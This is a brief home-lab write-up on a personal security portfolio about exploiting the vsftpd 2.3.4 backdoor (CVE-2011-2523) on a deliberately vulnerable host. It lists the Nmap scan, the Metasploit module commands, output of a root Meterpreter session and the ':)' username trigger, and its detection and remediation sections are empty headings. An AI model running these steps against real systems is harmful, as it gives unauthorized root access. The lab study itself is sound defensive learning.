Darshan Hudeda — Security Lab

Home lab attack-and-detect write-ups and security projects

View My GitHub Profile

vsftpd 2.3.4 Backdoor (CVE-2011-2523)

Objective

Identify and exploit a known backdoor in a deliberately vulnerable FTP service.

Method

Initial reconnaissance via Nmap service-version scan: nmap -sV 192.168.56.102 Result flagged vsftpd 2.3.4 on port 21 — a version with a publicly known, trojaned source release.

Exploitation via Metasploit: use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.56.102 set LHOST 192.168.56.101 run

Evidence

[+] 192.168.56.102:21 - Backdoor has been spawned! [*] Meterpreter session 1 opened

meterpreter > getuid Server username: root

vsftpd backdoor root access

Findings

Detection Angle

The backdoor is triggered by a username containing :) sent to the FTP USER command. A detection rule could flag:

Remediation